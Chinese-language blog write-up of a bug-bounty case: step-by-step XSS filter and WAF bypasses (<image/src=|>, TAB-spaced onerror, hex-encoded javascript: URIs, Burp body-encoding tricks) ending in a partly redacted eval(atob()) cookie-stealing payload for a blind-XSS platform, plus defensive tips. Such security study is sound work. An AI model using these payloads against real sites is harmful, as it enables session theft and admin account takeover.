Part1 前言
已經N年沒挖SRC了，前幾年曾有一段時間對XSS漏洞挖掘特别熱衷，像反射型XSS、存儲型XSS、DOM型XSS等挖得很上瘾，記下了很多筆記。遺憾的是多數平台都不願意接收XSS漏洞，哪怕是存儲型XSS漏洞給的評分都很低，因為XSS不能造成直接危害，利用起來有困難。是以當時花費了2天的時間，繞過各種防護及過濾，盲打到了一個SRC電商官網的背景。正好公衆号文章寫到現在，也缺少一篇講解XSS漏洞的文章，這次就分享這個XSS拿權限的實戰案例吧。
注：鑒别于好多朋友之前寫文章，引用真實報告的截圖而忘記打碼，出過好幾次事故。是以ABC_123寫文章的原則是，一概不貼真實截圖，隻貼虛拟機環境的圖，還望大家諒解。
後期會專門出一期講解DOM型XSS漏洞挖掘的文章，歡迎大家關注公衆号。
Part2 技術研究過程
1 選擇一個合适的Payload
對于挖掘XSS漏洞，我的經驗是第一步就是要選擇一個合适的Payload進行試驗，然後逐漸繞過各種防護。舉個例子，你是首先選擇<script>alert(1)</script>，還是選擇<img src=1 onerror=alert(1)>去開展XSS繞過工作呢？有朋友是用一大堆的payload做成XSS字典去FUZZ測試，這種方法高效快速，但是缺點是隻能測試反射型XSS，然後工具自帶的payload都是網上公開的，早就被各種WAF裝置給分析過了，被攔截的可能性很大。
2 選擇<image>标簽繞過
對于<script>這種的payload，如果不是變形的，基本上現在随便一個WAF裝置都能準确識别了，存活的可能性比較低。對于<img src=1 onerror=alert(1)>這個payload還有一些希望，但是alert關鍵字太明顯，直接送出也是不行的。
于是将測試payload精簡一下，變成如下格式<img src=1>送出還是被攔截。
那麼就再精簡一下，直接送出一個<img>，發現還是被攔截，至此我們知道，<img>标簽完全被幹掉了。
<img>标簽不行，那麼換一個<image>标簽送出一下，發現沒有被攔截，那麼我們就選擇<image>标簽來開展XSS繞過工作吧。
3 對于src=附近的攔截繞過
經過探測<image src=> 中間隻要有空格、TAB鍵都會被攔截，是以換成這種形式<image/src=>，用/這個符号替代空格。
接下來看=号的左右兩邊，程式又做了判斷，src=的右邊隻要是數字、字母啥的，就會被攔截。經過測試，發現src=右邊是可以接特殊字元串的，是以語句變成如下格式<image/src=|>（注：這個是特殊字元豎杠，不是字母或者數字），這樣就繞過了防護。如下圖所示，網頁中出現了一個圖檔報錯，說明上述payload被正常解析了，繞過了防護。
4 對于事件屬性附近的攔截繞過
接下來為了能夠利用XSS漏洞拿到權限，就必須想辦法讓上述XSS攻擊代碼能夠加載遠端js檔案，以備實作擷取Cookie、添加管理者賬号等功能。
是以隻有<image/src=|>這個payload是不行的，還需要進一步繞過防護。
為了加載js連結位址執行js代碼，一般可以借助事件屬性加載，比如說添加滑鼠點選事件、滑鼠滑過事件等。這裡我們選擇一個onerror事件，于是将payload進一步變成<img/src=| onerror=alert(111)>。
onerror=alert(111)這部分繞起來很難，經過一系列測試，發現在=号左右兩邊加上TAB鍵，變成如下格式onerror = alert(111)可以繞過=附近的攔截，但是alert(111) 這個部分還是會被攔截，怎麼辦呢？我想到了借助javascript：僞協定，因為javascript:這部分可以接各種編碼，之後測試的payload變成如下格式<images/src=| onerror = javascript:alert(111)>
接下來将javascript:alert(111) 編碼成16進制格式：
javascript:alert(111)
結果發現被攔截，到這一步還被攔截，基本上就難辦了。但是經過測試，發現它隻是攔截了；這個特殊字元。至于為什麼會攔截；呢，我想它的本意不是為了攔截XSS，是為了攔截多語句的SQL注入的分号。
但是幸運的是，上述16進制編碼的payload語句，把；去掉，一樣是可以觸發漏洞的，分号可有可無。
于是上述16進制的payload就變成了如下格式：
javascript:alert(111)
組合起來最終的彈窗完整的payload是如下形式：
<image/src=| onerror = javascript:alert(111)>
直接用burpsuite抓包送出是不行的，因為&會與POST請求資料包中的&分割符重複，這個好解決，可以對payload進行URL編碼一樣吧。
URL編碼後的payload大緻如下所示：
<image/src=| onerror = %26%23%78%36%61%26%23%78%36%31%26%23%78%37%36%26%23%78%36%31%26%23%78%37%33%26%23%78%36%33%26%23%78%37%32%26%23%78%36%39%26%23%78%37%30%26%23%78%37%34%26%23%78%33%61%26%23%78%36%31%26%23%78%36%63%26%23%78%36%35%26%23%78%37%32%26%23%78%37%34%26%23%78%32%38%26%23%78%33%31%26%23%78%33%31%26%23%78%33%31%26%23%78%32%39>
5 Change Body encoding繞過第2道防護
送出之後，發現它有兩道防護，因為到這一步沒有原先的403錯誤提示了，直接是逾時等待了一段時間，說明我們剛才的不懈努力隻是繞過了第1道防護，而第2道防護沒有繞過去，到這裡我已經快放棄了。。。最終經過測試，發現使用burpsuite的“change body encoding”把POST資料包格式改一下即可繞過第2道防護。
最終将如下格式資料包編碼後送出，<image/src=| onerror = javascript:alert(document.cookie)>
最終本地繞過2道防護，可以彈出Cookie了（以下截圖為本地虛拟機環境截圖，原圖敏感，就不放出來了）
6 XSS盲打平台
接下來就是找XSS盲打平台了，建議大家自己從網上找一個别人搭建好的XSS盲打平台測試吧，因為自己搭建XSS平台，還得買域名、還怕洩露真實身份資訊，而且網上的PHP的XSS平台代碼也有不少坑，有時候wamp能搭建成功，phpstudy就搭建不成功。
最終看了一下XSS平台給出的payload語句，結合javascript為協定，組合成可真正擷取Cookie的測試payload如下：
<image/src=| onerror = javascript:eval(atob('cz1jxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxhbmRvbSgp'))>
編碼成16進制格式如下：
上圖為虛拟機測試圖，到這一步呢，我才發現，原來這個src官網，防xss是這樣防範的，假設官網的管理者背景位址是https://admin.xxx.src.com.cn。我本地打開這個背景位址，發現這個官網背景限制了隻有内網ip才能登陸！到這一步，我才驚訝地發現，原來這樣可以防止XSS盲打Cookie的攻擊，它直接限制管理者背景的登陸，打到Cookie也沒用！難道我們就沒有辦法了嗎？經過一系列查找資料，還是有辦法解決的，使用XSS隧道，或者XSS代理。
7 XSS 隧道代理
這個工具大概暫時隻是概念性質的，我當時測試的效果是非常不好用。因為本地搭建環境測試，一旦我這邊挂上XSS代理，受害者那邊的浏覽器就會卡死，一旦受害者關閉浏覽器，代理也随之失效。到目前還沒有找到一個靠譜的XSS Proxy代理工具，是以這是一種解決方案，但是沒法用于實戰，不知道現在網上有沒有出新的靠譜的工具。
至此，一條曲折的XSS實戰利用道路就完成了，收獲不少。
Part3 總結
1. 防止XSS盲打，可以禁止管理者背景的外網登入，限制僅内網可以登入。這樣一來即使攻擊者通過XSS拿到有效Cookie，也沒法用于背景的登入。記得設定HttpOnly屬性。
2. 對于XSS 代理或者XSS隧道，如果大家有穩定靠譜的工具，能用于實戰的，還希望推薦一下。
公衆号專注于網絡安全技術分享，包括APT事件分析、紅隊攻防、藍隊分析、滲透測試、代碼審計等，每周一篇，99%原創，敬請關注。
Contact me: 0day123abc#gmail.com(replace # with @)